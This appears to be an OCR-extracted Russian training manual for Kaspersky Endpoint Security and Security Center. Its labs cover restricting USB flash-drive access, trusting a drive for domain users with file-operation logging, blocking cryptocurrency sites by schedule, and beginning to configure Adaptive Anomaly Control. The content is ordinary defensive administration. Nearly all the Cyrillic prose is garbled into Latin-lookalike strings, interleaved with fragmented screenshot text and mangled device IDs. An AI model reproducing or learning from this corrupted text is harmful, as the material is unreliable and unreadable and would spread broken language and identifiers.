32. O3HakomMbTeCh

C
CoAepPXMMbIM
7 Refresh list x (] %] =) =]
3anpoca
Event occurred T Device Event Description
04/07/2021 6:02:43 pm TOM-LAPTOP ockage message to Hello!
3aknioyeHune

B aTon nabopatopHon paboTe 6bin paccMoTpeH dyHKUMOHan OroKMpOBKKU JOCTYNa K yCTponcTeaMm. [ocTtyn
paspeLluaeTcs Unm BrokMpyeTcst NOMHOCTLI0. TUMMYHBIE CLEHAPUN UCMONb30BaHNS 3TOTO (OYHKLMOHana —
GNOKMpOBaHNE CMEHHBLIX HOCUTENEN MHGpOPMaLIMK, Yepe3 KOTOPbIE MOTYT PacnpOCTPaHATLCA BPEAOHOCHbIE
nporpammsl, Unm 6oKMpoBaHWe YCTPOMCTB Nepeaayn gaHHbIX, YTOObl CHU3UTL BEPOSTHOCTb YTEYKM MHpopMaLmK.

kaspersky 19
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JlabopaTopHas paboTa 17.
Kak HaACTpPOMTb NpaBa AocTyna K <|>neu1KaM

CueHapwun. Bbl 3anpeTtunu goctyn K conetukam no Bcer komnannm. OgHako 3TO OKa3aroch CrMLLKOM CYpOBON
MEepOoW, Beflb HEKOTOPbIM MOSb30BaTENSAM (PIIELLKM HYXHbI Anst paboTbl. B kOMNaHun NpuHATO pelleHne
paspelmnTb BCEM MOSb30BATENSIM UCMONb30BaTh 3aUM(POBaHHbIE (OIELLKM.

Bam TpebyeTcsi paspelumTb NoNb30BaTENSAM YMTATh M KONMMPOBaTh dannbl ¢ Niobbix dnewek, fobaBuTb
3alwmndpoBaHHble neLLkM B 4OBEPEHHbIE YCTPONCTBA, pa3peLlnTb K HUM MOMHbINM JOCTYN Nonb3oBaTensMm AoOMeHa
N BKITOYUTb 3anucb onepauun ¢ davinamm gnsa dreLuek B XXypHarn.

CopepxaHue. B aTon nabopatopHou paborTe:

1. 3anpeTtuTe nucatb Ha hrewkn BCemM nonb3oBaTensam
2. Pa3spelmTe nonb3oBaTensM 4OMEHa NMcaTh Ha JOBEPEHHbIE hreLLKn

3apaHue A: 3anpeTuTe nucaTb Ha ¢pneLIKN BCeM NoNib30BaTeNsaM

OTtponte HacTponkn KoHTpons ycTporcTs B nonuTtuke Kaspersky Endpoint Security. Coenarite Tak, 4To06bl
nonb3oBaTtenu (Everyone) mornu TonbKo YutaTb dansibl CO CMEHHbIX HOCUTENEN.

Kownsiotepsi KSC, DC, Alex-Desktop n Tom-Laptop Aomki! GuiTs BRiovers.
5 =l o

K Tom-Laptop  Alex-Desktop

Tom-Laptop

(7} Tom-Laptop 1

1. Bongute B cuctemy nopg y4eTHON 3anncbio Close Tab
abc\Tom. Maponb — Ka5per5Ky

Removable Devices CD/DVD drive 1
Pause Network adapter 1

2 * rlole‘r"oq ute (bneu'l Ky c MaTepVIaJ'IaMI/I Kypca K Send Ctrl+Alt+Del Alcor Micro Mass Storage Connect (Disconnect from Host)
XOCT‘KOM”b*OTepy Grab Input. Realtek USB 10/100/1000 LAN Change lcon...

Realtek USB Audio + Show in Status Bar

Snapshat

Capture Screen Realtek Integrated Webcam_HD

3. B meHwo VMware Workstation Haxmute VM, It Wirees BlutothR)

Broadcom 3880

Manage

Removable Devices, <Tun Bawlero HocuTtens>, ReinstllVihre Tools
Connect (Disconnect from Host) =T

<} [ | is PC 2
4. Ha komnbtoTepe )

Tom-Laptop, il R @
= = {4 System properties
Pr rti 0 R Al M twork Add twork: O
HaxxmuTe Start, T D e T A ™ satogs Fonage
Computer

Location Network System
« v 4 5 ThisPC » ~ © | Search This PC o

- ~

5. Yb6egutechb, 4TO R Local ik € N
CbJ'IeLIJKa ndeLUHO & Onediive 21.7 GB free of 39.4 GB [
USB Drive (£
I'IOD,KJ'HO‘-II/IJ'IaCb > O This PC < B

> USB Drive (E)

I

»  Network locations (1) v
1 items B
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MNepekntounTech Ha komnbloTep KSC.

w41 ]

6. OTkponte Beb-koHcoNb Kaspersky Security Center

7. B 6okoBOM MeHI0
BblOepuTe
Devices |
Policies &
Profiles

8. Ortkpoiite
NonUTUKY
Kaspersky
Endpoint
Security for
Windows

9. Tllepengnte Ha
BKINagKy
Application
Setting

10. MNepengnute B
pasgen Security
Controls

11. BbiGepute
KOMMOHEHT
Device Control

12. Mpongute no
cchblnke Access
rules for devices
and Wi-Fi
networks

kaspersky

TNabopatopHas paboTta 17.
Kak HacTpouTb npaea gocTtyna K doneLukam

DEVICES / POLICIES & PROFILES

Current path: KSC

= Refresh list

KASPERSKY + Add
SECURITY CENTER

Stat. >> | Policy name

Kaspersky Endpoint Security for Windows (11.6.0)

Kaspersky Security 11 for Windows Server

T= DEVICES

x ¢

Application In

Kaspersky Endpoint Se:

> Kaspersky Security 11 for Windo.

POLICIES & PROFILES

Kaspersky Security Center 13 Network Agent

Kaspersky Endpoint Security for Windows (11

Low protection level. Important protection components are disabled. Learn more

GENERAL  EVENT CONFIGURATION

Advanced Threat Protection
Essential Threat Protection
Security Controls

APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

[») Device Control

Device Control

@D Device Control ENABLED

Device Control Settings

Allow requests for temparary access

Access rules for devices and Wi-Fi netw

m
o

o
o)
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13. MNpongute no
ccblinke
Removable
drives

14. Obpatute
BHUMaHMe, YTO
napametp
npegocTaBneHns
goctyna K
YCTPONCTBY
HaxoauTcs B
Block pexume

15. 3anpetute
nonb3oBaTensam
nucaTb Ha
CMEHHbIe
HocUTENN:
CHUMMWTE OTMETKY
C NnapameTpa
Write n HaxmuTe
OK

16. CoxpaHute
NonUTUKY U
aoxanteco eé
NPUMEHEHMNS

17. 3angnTe Ha doneLuky

TNabopatopHas paboTta 17.
Kak HacTpouTb npaea gocTtyna K doneLukam

Types of devices

Access To Storage Devices

Name

Hard drives

Access To External Devices
Name

Printers

Modems

Tape devices

Multifunctional devices

Smart card readers

Windows CE USB ActiveSync devices

External network adapters

Access

Depends on connection bus
Block

Depends on connection bus
Depends on connection bus

Depends on connection bus

Access

Depends on connection bus v

Depends on connection bus v

Depends on connection bus v

Depends on connection bus v

Depends on connection bus v

Depends on connection bus v

Depends on connection bus v

Device Control Settings P

Device Access Rules Logging

Configuring device access rule
Access

Allow

Block

Depends on connection bus
®) Restrict by rules

18. CkonupywTe ¢ conewkun nodow cann Ha pabouunn cton

19. MonbITanTechb ckonnpoBaTb harn obpaTHO Ha drieLuky

20. YbeguTech, 4to Kaspersky Endpoint Security He gaeTt 3anucbiBatb

Ha doneLuky

kaspersky

Users' rights
+ Add # Edit Delete
Priority Access schedule Users' rights Enabled Read Write
0 Default schedule Everyone ] ]
Kaspersky Endpoint Security v X

Device Control

Operation with the device prohibited

Access to the device or the operation Read with the
device Removable drives has been blocked according to
the device access rule.

If you consider the blocking to be mistaken, contact the
administrator of the local corporate network.

Request access
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21. 3akponTe nHdopmaumoHHoe okHo Windows

JlabopaTopHasi paboTa 17.
Kak HacTpouTb npaea gocTtyna K doneLukam

You have been denied permission to
access this folder.

To gain access to this folder you will need to use the

security tak

Close

3apaHue B: PazpewmnTte nonb3oBarensm gomMmeHa sanucbiBatb ¢aiisibl Ha

AoBepeHHbie ¢neLwkn

OTtponte HacTponkn KoHTponsa ycTpoicTs B nonuTtuke Kaspersky Endpoint Security. Coenavite CMeHHbIN HOCUTENb
[0BepeHHbIM Ansa rpynnbl Domain users. Bknounte permctpnpoBaTthb B XXypHarne cobbITus, Koraa nonb3oBaTtenu

3anucbIBatoT hannbl Ha rneLku.

HauyHuTe BbINOMHATL 3agaHne Ha komnbtoTepe KSC.

22. OTkponTe BeD-
KOHCOMb
Kaspersky

Security Center

KASPERSKY
SECURITY CENTER

23. B 6okoBom
MeHI0 BblbepuTe
Devices |
Policies &

Profiles

24. OTkponte
NonuTUKy

Kaspersky

T= DEVICES

POLICIES & PROFILES

Cur

| Add

DEVICES / POLICIES & PROFILES

rent path: KSC

= Refresh list

Stat Policy name

Kaspersky Endpoint Security for Windows (11.6.0)

X ¢

Application

Kaspersky Endpoint Security for

Kaspersky Security Center 13 Network Agent

ty 11 forWindows .. »> HKaspersky Security 11 for Windo

Endpoint

Security for

Windows
25. MNepengnte Ha
BKNagKy
Application
Settings

Kaspersky Endpoint Security for Windows (1.

GENERAL

EVENT CONFIGURATION
26. MNepengnte B
pa3ﬂeﬂ Security Advanced Threat Protection Application
Controls

Essential Threat Protection

27. Bbibepute

KOMMNOHEHT

Security Contrals

APPLICATION SETTINGS

REVISION HISTORY

POLICY PROFILES

Device Control

kaspersky
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Device Control =

28. lNMponguTte no
ccblnke Access
rules for
devices and Wi-
Fi networks

29. MNpongute no
CCbInke
Removable
drives

30. MNepengute Ha
BKNaaKy
Logging

31. Bknounte
BeaeHue
XypHana
(Logging
ENABLED)

32. C nomoLbto
KHonku Add
BHU3Y OKHa
pobasbTe rpynny
nonb3oBarenemn

kaspersky

Device Control

@ Device Control ENABLED

Device Control Settings

B Allow requests for temporary access

d Wi-Fi ne

INabopatopHas paboTa 17.
Kak HacTpouTb npaea gocTtyna K doneLukam

Types of devices

Access To Storage Devices

Name

Hard drives

Access

Depends on connection bus
Block

Depends on connection bus
Depends on connection bus

Depends on connection bus

Device Control Settings

Device Access Rules Logging

Legging
@D Logging ENABLED

File operations

Delete
B Write

Filter on file formats

Ifth
B Textfiles
Video files

Audio file

Graphic files

Executable files
B Office files
B3 Database files
B Archives
Users
-+ Add Delete

Users

box is selected, more space is required to store messages in the database

No data
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33. Beegute
everyone u
HaXXmMuUTe Ha
WKOHKY Nynbl

34. Bblbepute

rpynny
Everyone

35. HaxmuTte Select

36. Haxmute OK

37. MNpongute no
ccbinke Trusted
devices

38. Cpenainte
CMEHHbIN
HocuTenb
[OBEPEHHBIM:
Haxmute Add
device by ID

kaspersky

TNabopatopHas paboTta 17.
Kak HacTpouTb npaea gocTtyna K doneLukam

Select user or group

every Q

. Everyone

CANCEL SELECT

Device Access Rules

Legging

@ Logging ENABLED

File operations

Delete
B Write

Filter on file formats
All formats
If the
B Textfiles
Video files
Audic files
Graphic files

=3

k box is selected, mare space is required to store messages in the database

Executable files
@ Officefiles
Database files
B3 Archives

Users

+ Add X Delete
Users

Everyone

Device Control =}

Device Control & O

@D Device Control ENABLED

Device Control Settings & O

Allow requests for temporary access

Access rules for devices and Wi-Fi networks

Trusted devices

Trusted devices

Merge values when inheriting

+ Adddevice byID 4 Add device by model -+ Add device by IDmask -+ Add device by model mask # Edit X Delete == Import
= Export
Device type Device model Device ID Name Users Comment
No data
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39. /3 cnucka
YCTPONCTB
Bblbepute
Generic Flash
Disk USB
Device

40. Haxmnte Next

41. YkaxuTe rpynny
Domain Users

42. Haxxmunte Next

43. Haxxmute OK

44. Ybegutecb, YTO
YCTPOMNCTBO
crano
AOBEPEHHbIM
AN rpynnbl
nonb3oBartenemn
Domain Users

45. Haxmute OK

kaspersky

TNabopatopHas paboTta 17.
Kak HacTpouTb npaea gocTtyna K doneLukam

Add trusted devices =

Name

VMware Virtual disk SCSI Disk Device
Generic Flash Disk USB Device

Generic Flash Disk USB Device

NECVMWar VMware IDE CDR0OO ATA Device
Intel(R) 82574L Gigabit Network Connection
Teredo Tunneling Pseudo-Interface
VMware Virtual disk SCSI Disk Device
NECVMWar VMware IDE CDROO ATA Device
NECVMWar VMware IDE CDR10 ATA Device
vmxnet3 Ethernet Adapter

Intel(R) PRO/1000 MT Network Cennection
VMware Virtual disk SCSI Disk Device

[~} Generic Flash Disk USB Device

Z= Filter|
Device ID
SCSI\DISK&VEN_VMWARESPROD _VIRTUAL_DISK\5&1982005505000000
USBSTOR\DISK&VEN_GENERIC&PROD_FLASH_DISK&REV_8.07\072E0ADO&0
USBSTOR\DISKEVEN_GENERIC&PROD_FLASH_DISK&REV_8.07\83F15E8060
IDE\CDROMNECYMWAR_VMWARE_IDE_.CDROO_______________ 1.00____\552EBA495050.0.0
PCI\VEN_8086&DEV_10D36SUBSYS_07D015ADGREV_00\0O05056FFFFA3646E00
SWD\IP_TUNNEL_VBUS\TEREDO_TUNNEL_DEVICE
SCSI\DISK&VEN_VMWARE&EPROD _VIRTUAL_DISK\5522BE343F&05000000
IDEACDROMNECYMWAR_VMWARE_IDEL.CDROO_____ 1.00____\5&27BF3D6BE050.0.0
IDE\CDROMNECYMWAR_VMWARE_IDE_.CDR1O_______________ 1.00____\563A794E106061.0.0
PCI\VEN_15AD&DEY_07B0&SUBSYS_07B015ADEREV_01\FF565000CEOAA3SFEQD
PCI\VEN_8086&DEV_100F&SUBSYS_075015ADGREV_011463AD87E0ATOG0888
SCSI\DISK&VEN_VMWARESPROD _VIRTUAL_DISK\5&1EC51BF7505000000

USBSTOR\DISK&VEN_GENERIC&GPROD_FLASH_DISKEREV_8.07\8743181760

Select user or group

ABC\Domain Guests
0 ABC\Domain Users
ABC\Enterprise Admins
ABC\Enterprise Key Admins
ABC\Enterprise Read-only Domain Controllers

ABC\Event Log Readers

Add trusted devices

Step 3. Add comment

Comment

Trusted devices =

Merge values when inheriting

Removable drives -

—+ Add devicebyID 4 Add device by model -+ Adddevice bylDmask -+ Add device by model mask # Edit X Delete Z= Import
= Export
Device type Device model  Device ID Name Users

USBSTOR\DISK&VEN_GENERICEPROD_FLASH_DISKEREV_8.07\8745181760

Generic Flash Disk USB Device  ABC\D
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46.

47.

48.

49.

50.

51.

52.

53.

MepenauTe Ha
BKNagky
Application
Settings

Mepengute B
pasgen General
settings

Bbibepute
KOMMOHEHT
Interface

MporanTte no
CCblrke
Notification
settings B
pasgerne
Notifications

Bbibepute
KOMTMOHEHT
Device Control

OTtmeTbTE
napameTp Save
in local report
ans cobbiTna
File operation
performed u
Haxxmute OK

Coxpanute
NONNTUKY:
Haxmute OK

MNopoxaute,
noka nonuTuka
NpPUMEHNTCS

Kaspersky Endpoint Security for Windows (11.6.0)

TNabopatopHas paboTta 17.

Kak HacTpouTb npaea gocTtyna K doneLukam

Low protection level. Impertant protection components are disabled. Learn more

GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY
Advanced Threat Protection e

Application Settings
Essential Threat Protection

tion and Response
Data Encryption _ .

Local Tasks

General settings

nterface

POLICY PROFILES

Interface P

Interaction with user

With simplified interface
&) With full interface
No interface

Notifications

Notification settings

Email notification settings

&

©

System Audit Save in

Event local report
Beha Detection
v Critical events v ]
Exploit Prevention
Operation with the device prohibited [v]
Host Intrusion Prey
Network connection blocked [~}
File Threat Protection
v Warnings ]
Web Threat Protection
Temporary access to the device activated v}
Mail Threat Protection
~ Informational messages
rewall
Operation with the device allowed
Network Thre,

File cperation performed [v]

Adaptive Anomaly Control

Application Contro

Device Control

Savein
Windows
Event Log

< < I < |

(<]

Notify on

screen

< < I < |

<]

Notify by
emai

|
Tom-Laptep

54. CkonupynTe daiin invoice.txt ¢ paboyero ctona Ha neLuky

kaspersky
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55. Ybegutecs, Uto Kaspersky Endpoint Security nossonseT 3anvcbiBatb daiinbl Ha AOBEPEHHOE YCTPOUCTBO

Mepekntountechb Ha komnbloTep KSC.

56. OTkponTe BEOG-KOHCOMb MONITORING & REPORTING / REPORTS

Kaspersky Security
Center + Add | | [> Open report template properties | | [> New report delivery task | | (> Export report

57. B bokoBOM MEHI0 KASPERSKY 8 Name Type Scope Description
BbiGepuTe Monitoring & SECURITY CENTER !

Protection status

Reporting | Reports

Report on protection status Reporton protectio... >>  Protection status This report pr

58. Haxxmute Report on file
operations on
removable drives

A MONITORING & REPORTING  ~
stheavily.. >> Reporton mosthea.. >> Threat statistics This report lisf
(]

=ekly report on most hea => Reportonmosthea. >> Threat statistics This report lisf

REPORTS

Reporton file opera.. >> Other This report pr

) Report on file operations on removable drives m

# Edit < Refresh [> Export

59. MNepengute Ha BKNagKy
Details

60. NMpoBepbTe, YTO OTYET
nokasbIBaeT, YTo
none3oBarens ABC\Tom

Summary Details

3anucan Ha CMeHHbIN Details 1 of 1
aunck chann invoice.txt Search
Virtual Administration Server ~ Groupname  Devicename  Time Operationtype  Path to file Account name  Removable drive seri
Laptops TOM-LAPTOP  Thursday. April 8, 2021 10:15:33 AM ~ Modify Einvoice.txt  ABC\Tom USBSTOR\DISK&EVEN
3aknioueHue

B aToi nabopaTtopHON ObinNn paccMOTPEHbI BO3MOXHOCTM pasrpaHn4eHns npae 4OCTyna nonb3oBaTtenen K
doneLukam, a TaKkxke BO3MOXHOCTb UCKIOYaTh OTAENbHbIE TUMbI oriellek n3-nog A4enUCcTBMin orpaHn4eHnin. B
KOMMNaHWM BCErga MOXET CYLLLECTBOBATb psag nonb3oBaTenei, HanpuMmep, CEKpPeTapu, KOTOpbIM HEOOXoANMO
nornyyaTtb JaHHble C dorielek, Mogernb, a Tem boree cepuiHbIN HOMEP, KOTOPbIX 3apaHee He N3BECTEH.

A,D,MVIHI/ICTpaTODbI, 00ObIYHO UMeT orpaHn4eHHoe KoJin4ecTBo (bJ'IeLLIeK, Moaernb unum CepMVIHbII‘fl HOMEpP KOTOPbIX
N3BECTEH. OTN CbﬂeLIJKI/I, MOXHO BbIBECTW U3-Nog AENCTBUSA orpaqueHMﬂ. PaCCMOTpeHHbIIZ MeXaHNU3M

WCKITHOYEHMS, AOCTATOYHO M’MOKNIA U NO3BOMNSIET HE TOMNbKO UCKMHYaTb onpepeneHHble (bﬂeLIJKI/I, HO N HacTpanBaTtb
nonb3oBartenen n/mnm rpynnbl nonb3oBaTtenen, ang KOTOPbIX 6y,u,eT JencTBoBaTb 3TO UCKIOYEHME.

JlabopaTopHas paboTa 18.
Kak HaACTPOMTb KOHTPOJIb AO0CTYNa K Be6-pecypcaM

CueHapui. B xoge aHanusa nHTepHeT-Tpagmka KOMNaHUM BbISICHUIIOCh, YTO MHOTMME NOJb30BaTeNM MoceLlaoT
caiiTbl GMpPXK KpUMTOBanioT B paboyee BpeMsi. Bbl xoTuTe 3anpeTutb MM 370 AenaTb. Bawa 3agaya —
3abnoknpoBaTh OOCTYN K BUpxamM KpUNTOBantoT Npu NOMOLLUM NOSMTUKM
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CopepxaHue. B aToinn nabopatopHon paborTe:
1. CospaiitTe NpaBmnio OMOKMPOBKN JOCTYNa K Bupkam KpunToBantoTt

2. TpoeepbTe paboTocnocobHOCTL BrOKMPOBKK 4OCTYNa K Bupxam KpMnToBantoT
3. T[poeepbTe otyeThl Kaspersky Security Center

3apaHue A: Co3zpaiiTe npaBuno 610KMPOBKM pecypcoB KpUNTOBaNioT

B aTOM 3aaHMM HYXXHO BKIMKOYUTL B MONUTMKE GNOKMPOBKY AOCTYNa K calTaM KpMnToBarnioT BCEM MOoNb3oBaTensiM
B pabouyee Bpewmsi.

- 5 e

Tom-Laptop  Alex-Desktop

1. OrtkponTe Beb6-KOHCONb DEVICES / POLICIES & PROFILES

Kaspersky Security
Center Current path: KSC

2. Tepeigute Ha KASPERSKY [ add | [ 2 Refresh st | @ : Be G Move > Delete @ Dist
cTpaHuuy Devices | SECURITY CENTER

[ stat »> Policy name Application

Polices & Profiles
. Kaspersky Endpoint Security for Windows (11.6.0)
3. OTkporTe NonuMTuKy

Kaspersky Endpoint
Security for Windows

Has; y Endpoint Security for Windows {11.6.0) Haspersky Endpoint Security for

Haspersky Security 11 for Windows Server

= DEVICES

n for Kaspersky Security.

== Haspersky Security 11 for Windo.

POLICIES & PROFILES

Haspersky Security Center 13 Network Agent

4. nepeﬁp‘MTe Ha BKﬂaﬂ,Ky Kaspersky Endpoint Security for Windows (11
Application Settings

Low protection level. Important protection components are disabled. Learn mare

5. [llepengute B pasgen

H GENERAL EVENT CONFIGURATION  APPLICATION SETTINGS  REVISION HISTORY  POLICY PROFILES
Security Controls i

6. BbibepuTe KOMMOHEHT
Web Control

Security Controls

Detection and Response

Data Encryption o
Web Control

Local Tasks
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Web Control & Enforce @)

@D Web Control ENABLED

Web Control Settings & Enforce @)

Rule List

+ Add X Delete A Moveup w Movedown = Import 3= Export

Rule name State Actions
No data
% 5 none Rule name
BBEOUTE
Cryptocurrencies
Rule name

9. B none dewncrteue
BblGepuTe Block

Cryptocurrencies

Status
10. Mpongnte No ccoinke ® Active
Content Categories Inactive
Action
Allow
8 Block
Warn
Filter type

B3 By content categories
By types of data

Content categories

File snaring x

11. B cnncke Content
Categories | Online
stores, banks,
payment systems

Audio, video
Gambling, lotteries, sweepstakes
v nternet communication

Web-based mail

BblbepuTe I
Cryptocurrencies, s . .
mining o

Blogs
12. Haxmunte OK Dating sites
v Online stores, banks, payment systems
Online stores
Banks
Payment systems
Cryptocurrencies, mining
Videogames
Religions. religious associations
News media
Banners
v Forbidden by regional laws

Forbidden by Russian Federation laws.

Forbidden by laws of Belgium

Forbidden by Police of Japan
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13. BbibepuTte napametp
Apply to individual
users and / or groups

14. Haxxmute Add

15. B cTpoke novcka
BBeOWTE everyone

16. Bbibepute
COOTBETCTBYHOLLYHO

rpynny
17. Haxmunte Select

kaspersky

Warn

Filter type

Addresses

+ Add

Users

+ Add

@ By content categories
By types of data

Content categories

Types of data

®) Apply to all addresses

# Edit

Address

Apply to all users

X Delete

User or group

Apply to individual addresses and/or groups

X Delete

@ Apply to individual users and / or groups

INabopatopHas paboTa 18.

Kak HacTpouTb KOHTPOIb AOCTyna k Be6-pecypcam

No data

No data

Select user or group

everyone

. Everyone

Cancel

Select
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18. [lobGaBbTe HaAcCTpOWiKK Rule
pacnucaHus. B Worn
obnactn Rule R
Schedule npongnte £ By content categories

By types of data

no ccoinke Always

Content categeries

Types of data

Addresses
®) Apply to all addresses

Apply to individual addresses and/or groups
+ Add # Edit X Delete
Address

No data

Users
Apply to all users

® Apply to individual users and / or groups
+ Add X Delete
User or group

Everyone

Rule schedule

Always

19. Coanaline Hosoe

pacnucaHue.
Haxmunte: Add

Schedules

+ Add ~# Edit X Delete 1 Copy

. Always

20. Beegnte uma npasuna
Business hours

Schedule editor

Name Business hours

00010203040506070809101112131415161718192021 222324
Mo
Tu
We
Th
Fr
Sa
Su

21. HactponTe npasuno
pacnucaHusl Takum
obpasom, 4ToObI
AOCTYN K coumnanbHbIM
ceTsim Grnokuposarncs ¢
noHedenbHUKa no
naTHuUy ¢ 9.00 go
18.00

22. Haxmute OK

23 Bebepne

pacnucaHue: Business
hours

24. Haxmute OK

Schedules

+ Add # Edit X Delete IO Copy

Always

. Business hours
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25. YbeauTech, 4to
€034aHo npaBuno
OroKMpoBKHU
Cryptocurrencies

26. Haxmute OK

27. CoxpaHuTe NOonUTUKY:
HaxmMuTe OK

28. MNMopoxguTe, noka
NonnTUKa NPUMeEHUTCS

Web Control

@ Web Control ENABLED

Web Control Settings

Rule List

4 Add X Delete A Moveup v Movedown

Rule name
Cryptocurrencies
Default rule

® Allow all except the rules list

Deny everything except the rules list

Advanced settings

Templates

Warning Message about blocking

%= Import

@ Active

INabopatopHas paboTa 18.
Kak HacTpouTb KOHTPOIb AOCTyna k Be6-pecypcam

Web Control =]

= Export

State Actions

Block ~

Message to administrator

Template of the warning message that appears when attempting to open a web page or website that is not recommended

=

©

[ oc |

3apaHue B: NpoeepbTe paboTocnocobHocTb 6noKMpoBKM AOCTyNa K Guprkam

KpuntoBanioT

B atom 3agaHum HY>KHO Y6eJJ,VITbCFI, YTO NpaBuIio BCTYyNUIo B cuny, U Kateropua KpVII'ITOBaJ'IIOTbI N MalHWHT

3abnoknpoBaHa

B

-
Tom-Laptop

29. BonguTe B cMcTeMy nof y4eTHOM 3anncbio
abc\Tom. MNaponbs — Ka5per5Ky

30. 3anyctute Internet Explorer
31. 3anauTe Ha cant www.coinmarketcap.com

32. YbeauTechb, 4TO NpaBvnio GNOKMPOBKM
AocTyna K bupxam kpunToBantoT paboTaeT

33. 3akponTe okHo Internet Explorer

kaspersky

‘2 https://coinmarketcap.com/

(& Kaspersky Endpoint Securit... %

- &d

Search...

(1]

The requested web page cannot be provided.

Address: https://coinmarketcap.com/.
The web page has been blocked by the Cryptocurrencies rule.

Reason: the web resource belongs to the Cryptocurrencies, mining
content category(-ies) and the Undetermined data type category
(-ies).

This web resource is prohibited at the company. If you consider the
blocking to be mistaken or if you need to access this web resource,
contact the administrator of the local corperate network (Request
access).
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3apaHue C: lNpoeepbTe oTueThbl Kaspersky Security Center

KsC

34. OTtkpoiiTe Beb-
KoHconb Kaspersky
Security Center

MONITORING & REPORTING / EVENT SELECTIONS

[144] Eii:“:’” All selections v
35. B 60KkOBOM MEHI0 _ . i
6 KASPERSKY | + Add | ‘ # Properties | [> Reconfigure sorting and start | ¢ Delete
Bbloepute SECURITY CENTER
Monltorlng & W Selection name Selection type

Reporting | Event

Selecti ons M Predafined selection
- . Recent events Fredafined selection

36. Haxxmute Recent A MONITORING 6 REPORTING  ~
EVen ts [ Critical events Fredefined selection
] Function Fredsfined selsction
O Predafined selection

EVENT SELECTIONS
[l Fredafined selection
37. Bbibepute itof Receneven

nocnegHee codbiTne
C ycTpouctea Tom- xDekte @ pottofle @ Asigntocilegory @ Revion hitory B Exclude rom Adsptiv Anomsly Contro Q =7

L a.pto p [C]  Eventoccurred Device Event Description Administration group

TOM-LAPTOP Access denied Event type: Access denied Laptops
Application: Internet Explorer
Name: iexplore exe
Application path C\Program
internet explorer
D: 6768

inmarketcap.com/favicon.ic

o
Result: Blocked

Rule: Cryptocurrencies

Content category: Cryptecurrencies,
mining

Content category source: Local
databases

Address mask: 5-1-1-0, *

TOM-LAPTOP Access denied Laptops

Result: Blocked
Rule: Cryptocurrencies
Content category: Cryptocurren,
Content category source: Local
Address mask §-1-1-0, *

38. ObpaTtuTe BHUMaHMe,

Event properties

YTO AOCTYN K canTy Tskrame
WVYW' Access denied
coinmarketcap.com A
3abnokuposaH Beb %ﬂ_ -
KOHTponeM Application
Kaspersky Endpaint Security for Windows (11.6.0)
Heosss
Description

Event type: Access denied

Application: Internet Explorer

Name: iexplore.exe

Application path: C:\Program Fileshinternet explorer
Process |D: 6768

User: ABC\Tom (Initiator]

Requested web page: https:/fcoinmarketcap.com/favicon.ico
Result: Blocked

Rule: Cryptocurrencies

Content category: Cryptocurrencies, mining
Content category source: Local databases

Address mask: 5-1-1-0, *

Event registered 04/06/2021 9:17:57 am

kaspersky 134



KL 002.11.6: INabopatopHas paboTa 19.
Kaspersky Endpoint Security and Management Kak HacTpouTb AgantusHbii KoHTponb AHOManun

3ak/iloueHue

B aTon nabopatopHon paboTe 6bin paccMoTpeH dyHKUMOHan 6roknpoBaHus goctyna k Be6-pecypcam. [loctyn
MOXEeT paspeLLaTbcs UK BrokMpoBaTbLCSA MO KAaTeropusiM CoAep KaHus, TUNy AaHHbIX UMK U Tak, U Tak. BriokMpoBka
AOCTyna MOXeT ObITb orpaHnYyeHa No BPEMEHWN U PachpOCTPaHSATLCS Ha Fpynnbl Nonb3oBaTenen unm Ha
oTAenbHbIX Nonb3oBaTenein. TUNUYHbIE CLIEHAPUK UCMOMb30BaHMS 3TOr0 PYHKLUMOHana — BrokMpoBka AocTyna K
coumanbHbIM pecypcam, GrioKMpoBKa 3arpy3kn UCNONHAEMbIX dalifioB, UK AOCTYNa K BHELLHEN SNEKTPOHHOMN
noyTe, Yepes KOTOPYo MOXET NPOXOAUTL Kak yTeuka MHdopMaumm, Tak 1 3arpy3ka BpeAoHOCHbIX 06 HEKTOB.

JlabopaTtopHas paboTta19.
Kak HacTpoutb ApantueHbiit KoHtponb AHomanumn

CueHapun. B Kaspersky Endpoint Security ecTb KOMNOHEHT, KOTOPbIV OTCIEXUBAET 3aMnyCKn CKPUMNTOB U
MaKpOCOB 1 0OHapyXuBaeT CUCTEMHblEe aHOManuu. Bl pelumnu npoBepuTb paboTocnocobHOCTL AaHHOMO
KOMMOHEHTa 3awmThbl. [N 3TOro Bbl MCMoONb3yeTe 3apaHee NoAroToBneHHbIN dain Word ¢ MakpocoM, KOTOopbI
copepxuT 0bdycumpoBaHHbin PowerShell-ckpunr.

CopepxaHue. B aToin nabopatopHon paborTe:

1. Hactpownte 6rnoknpoBKy 3amnycka MakpoCOB 1 CKPUNTOB B OYMCHBIX JOKYMEHTaxX
2. [lposepbTe, 4TO AganTueHbli KOHTponb AHOManuin 6roknpyeT 3anyck BpeA4OHOCHOIro Makpoca

3apaHue A: HacTtpoiiTe 610KMpOBKY 3anycka MaKpOCOB U CKPUMNTOB B
odUCHbBIX AOKYMEHTaX

OTKMOYNTE OCHOBHbIE KOMMOHEHTbI 3aLLUTbI.
Mo ymon4yaHuio KOMNOHEHT 3awnTbl AganTueHbIi KoHTponb AHOManuin paboTaeT B pexxume CTaTUCTUKK U1

cobupaeT CTaTUCTUKY O 3anyckax Nporpamm 1 ckpunToB. YTobbl NpoBepuTh cpabaTbiBaHNME KOMMOHEHTA Ha
BpeOoHOCHbIe dhaiinbl, ero HeobXoaAMMO NPUHYANTENBHO NEPEBECTU B PEXUM BIOKMPOBKN.
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TNabopatopHas paboTa 19.
Kak HacTpouTb AgantusHbii KoHTponb AHOManun

R E
[ BL] —
= O
o N L
prm— = = N = -
- | -
[»]e] KsC Tom-Laptop Alex-Desktop

1. OrtkpownTe BeEG-KOHCOMb
Kaspersky Security
Center

2. B 6okoBoM MeHI0
BblbepuTte Devices |
Polices & Profiles

3. OTkponTe NonuTuKy
Kaspersky Endpoint
Security for Windows

4. Tlepengute Ha BKNagKy
Application Settings

5. Ortknounte Exploit
Prevention

6. Bblbepute Security
Controls

7. [Mpongnte B HACTPOMKU
KoMnoHeHTa Adaptive
Anomaly Control

kaspersky

= DEVICES

DEVICES / POLICIES & PROFILES

Current path: K5C

KASPERSKY | 4 Add | | = Refreshlist |

SECURITY CENTER

b < Move  x Delete ¢ Distributi
[] stat. =>  Policy name Application
Haspersky Endpoint Security for Windows (11.6.0)

O e Kaspers Haspersky Endpoint Security for .|

ws .. >> Haspersky Security 11 for Windo..

POLICIES & PROFILES Haspersky Security Center 13 Network Agent

rity for Windows (11.6.0)

